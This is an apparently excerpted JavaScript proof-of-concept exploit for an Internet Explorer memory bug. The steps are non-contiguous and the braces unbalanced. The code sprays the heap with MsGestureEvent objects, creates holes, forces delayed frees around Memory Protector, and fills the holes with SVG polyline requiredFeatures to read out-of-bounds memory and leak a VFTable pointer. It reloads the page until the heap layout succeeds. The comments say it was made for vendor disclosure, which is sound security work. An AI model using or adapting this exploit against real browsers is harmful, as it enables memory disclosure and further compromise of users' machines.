// Step 2: As the target object is stored in Process Heap
// instead of Isolated Heap, we can use any element that
// is stored on Process Heap to spray the Heap.
//
// To create a predictable pattern on Heap, we spray using
// "MsGestureEvent" and it's size is 0x0A0. We will use
// this object to read the VFTable pointer.
for (var i = 0; i < 0x1000; i++) {
eventArray[i] = document.createEvent('MsGestureEvent');
}

// Step 3: Now we need to create a hole in the allocation
// that we made earlier. The purpose of this hole is to
// allocate the vulnerable buffer just before the Heap
// chunk of "MsGestureEvent"
for (i = 1; i < 0x500; i += 2) {
eventArray[i] = null;
}

// Step 4: As Memory Protector is enabled by default on all
// versions of IE, it will not allow the free of objects
// instantly. So, we need to force free the memory due to
// Delayed Frees.
CollectGarbage2();

// Step 5: Now, fill the hole that we created earlier. The
// "requiredFeatures" property is allocated on OLEAUT32 Cache
// Heap, old Plunger technique does not seems to work for me.
// I have used a neat trick to bypass OLEAUT32 Cache Heap.
for (i = 0; i < 0x250; i++) {
polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');

// Step 8: As the whole exploitation depends on certain Heap
// layout, thus, this is unreliable. But to overcome this
// un-reliability, I'm reloading the page until, right Heap
// Layout is achieved.
//
// This PoC is created for the vendor to acknowledge this bug,
// hence reliability is not my concern at this moment. We can
// make it more reliable, but let's leave it for later stage.
//
// Some heuristics to detect if Heap is in the right state.
// Once we have determined the Heap state, we can apply some
// more heuristics.
if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
// Step 9: Read the Out of Bound memory
var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));

// Step 13: As stated earlier, this is a bit unreliable.
// If the exploit has failed, reload the current page.
// If reloading does not help, close the browser and
// launch the exploit multiple times.
if (!exploitSuccessful) {
window.location.reload();
}
}

/**
* This function is used fill the wait list of the freed objects
* and trigger Garbage Collection.
*/
function CollectGarbage2() {
// Microsoft implemented Memory Protector to mitigate
// Use after Free vulnerabilities. The object protected
// by Memory Protector won't be freed directly. Instead,
// it will be put into a wait list which will be freed
// when it reaches certain threshold (i.e 100,000 bytes).
var video = new Array();

// Now allocate video element (400 bytes) 250 times
//
// Note: We are not using stack to store the references.
// If we use stack to store the references, the memory
// will never be freed during Mark and Reclaim operation
for (var i = 0; i < 250; i++) {
video[i] = document.createElement('video');
}

// Now free the elements. It will be put into the wait list.
video = null;